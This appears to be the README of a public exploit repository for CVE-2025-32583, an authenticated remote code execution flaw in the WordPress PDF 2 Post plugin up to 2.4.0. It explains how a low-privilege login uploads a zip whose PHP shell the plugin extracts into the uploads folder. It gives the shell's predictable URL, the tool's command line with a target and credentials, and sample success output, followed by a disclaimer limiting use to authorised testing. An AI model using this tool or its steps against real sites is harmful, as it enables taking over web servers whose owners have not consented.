nxploited/cve-2025-32583WordPress PDF 2 Post Plugin <= 2.4.0 is vulnerable to Remote Code Execution (RCE) +Subscriber
CRITICAL Vulnerability
CVE-ID: CVE-2025-32583
Severity: 9.9 (CRITICAL)
CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
A vulnerability in the PDF 2 Post WordPress plugin (developed by termel) allows Remote Code Inclusion (RCE) due to Improper Control of Generation of Code.
Affected versions: <= 2.4.0
The flaw allows authenticated users (even low-privilege users) to upload a .zip containing PHP code. Once extracted by the plugin, the malicious PHP file may be executed remotely via a public-facing uploads directory.
Nxploited.zipnonce tokenOnce the payload is uploaded, the PHP shell will be extracted into the WordPress uploads folder.
🛠️ Default path:
/wp-content/uploads/YYYY/MM/nxploited.php
For example, if exploited in May 2025, the URL would be:
http://target-site.com/wp-content/uploads/2025/05/nxploited.php
🕓 WordPress automatically organizes uploads by year/month, so ensure you check the correct folder based on the current date.
python CVE-2025-32583.py --help
python CVE-2025-32583.py -u http://target-site.com/wordpress -un admin -p admin
Exploit By: Khaled_alenazi (Nxploited)
[+] Payload Nxploited.zip created successfully.
[+] Logged in successfully.
[+] Found nonce: 3c3e8fff7c
[+] Payload uploaded.
CVE-2025-32583.py
This tool is intended strictly for educational and authorized penetration testing purposes.
Any misuse of this code for unauthorized activities is strictly prohibited.
The author bears no responsibility for any damage or misuse.
By: Khaled_alenazi (Nxploited)